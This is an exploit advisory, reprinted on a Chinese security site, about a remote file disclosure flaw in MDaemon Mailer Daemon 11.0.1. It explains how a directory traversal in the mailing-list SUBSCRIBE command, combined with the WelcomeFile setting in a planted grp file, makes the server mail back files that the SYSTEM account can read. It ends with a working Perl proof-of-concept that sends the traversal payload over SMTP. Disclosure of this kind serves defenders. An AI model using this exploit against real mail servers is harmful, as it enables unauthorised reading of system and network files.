首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure
来源:vfocus.net 作者:Kingcope 发布时间:2010-05-06  

MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure
Bug Found & Exploited by Kingcope
May 2010

The latest version at the time of this advisory is vulnerble to the attack.
It seems all files which the SYSTEM account can read can be accessed remotely,
even accessing files on SMB shares located in the local network might
be possible.

The caveat is that only human readable files can be read.
This bug is complex so let's break the attack down into it's different pieces.

Mailing list support in MDaemon
---
MDaemon support mailing list. When a mailing list is configured, people can
subscribe and use the mailing list commands which are sent to
MDaemon@<domainhere>.
The MDaemon Software stores configurations for mailing lists inside a
file with the grp extension
which is located in <MDaemonDir>(normally C:\MDaemon)\App so for
example in C:\MDaemon\App.
A mailing list group file can look like the following (only a snippet
of the file):

---snip---
# Mailing List file
#
; ListName = test@company.mail
; Private = N
; HideFromAddressBook = N
; AllowExpn = Y
; ListNameInSubject = Y

...
---snip---


grp file
--
Inside the grp file there is a setting for a welcome message which is
sent when a user subscribes to
a mailing list.
The field is named "WelcomeFile", for example this setting can be:
; WelcomeFile = C:\autoexec.bat


Directory traversal in SUBSCRIBE (and other commands, SUBSCRIBE is the
important for the attack)
--
When subscribing to a mailing list the user sends an E-Mail with a subject like:
SUBSCRIBE test-mailinglist@<domainhere>

In this case a grp file named test-mailinglist@domain.grp will be
searched for in C:\MDaemon\App\.
An attacker can now supply dot dot slashes here to point to a
different file as intended, for example:

SUBSCRIBE VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar

In this case the Mailer Daemon will look for the grp file in the
location C:\Users\Kcope\OpenShare\foobar.grp.
If the file exists MDaemon will use this file and send back a
confirmation E-Mail because of a mailing list subscription.
The attack does not depend on a mailing list being configured but on a
file which the user controls under a C: folder (which
he for example uploaded through SMB or FTP). So this is the only
migitation for the attack. I did not find a way to
discard the grp file extension added to the requested file, so it's
not possible to reuse sent mails by the attacker
for example.


Welcome message file and final attack
--
As seen before the grp file supports a welcome message file setting.
When the user responds to the malicious
subscription request sent by him (it's important to change the domain
name at this point to the correct one, because
MDaemon gets confused by the ../ domainname seen above when sending
the confirmation mail) he will gracefully receive
the requested file which was set in grp file back as an email
contained in a welcome E-Mail by MDaemon.


Exploit PoC
--

The following exploit will force the welcome file set in
c:/users/kcope/openshare/foobar.grp to be sent to the attacker
after confirming the subscription request.

---snip---
use IO::Socket::INET;
use MIME::Base64;

$|=1;

$sock = IO::Socket::INET->new(PeerAddr => 'localhost',
                             PeerPort => '25',
                             Proto    => 'tcp');

print $sock "EHLO you\r\n";
print $sock "MAIL FROM: <niko>\r\n";
print $sock "RCPT TO: <MDaemon\@company.mail>\r\n";
print $sock "DATA\r\n";
print $sock "Date: 23 Oct 81 11:22:33\r\n";
print $sock "From: <niko>\r\n";
print $sock "To: <MDaemon\@company.mail>\r\n";
print $sock "Subject: SUBSCRIBE
VVV\@\"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar\r\n";
print $sock "\r\n\r\ntest\r\n.\r\nQUIT\r\n";
print ".";

while(<$sock>) {
       print;
}
---snip---

Kingcope


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wormable Remote Code Execution
·Ziepod+ 1.0 Cross Application
·Safari 4.0.5 & Camino 2.0.2 hi
·Linux x86 - polymorphic execve
·Firefox 3.6.3 & Safari 4.0.5 w
·Avant Browser Denial of Servi
·OCS Inventory NG Server <= 1.3
·REZERVI 3.0.2 (root) Remote Co
·Linux x86 - execve("/bin/bash"
·BaoFeng Storm M3U File Process
·Beyond Compare 3.0.13 b9599 (.
·Microsoft Paint Integer Overfl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved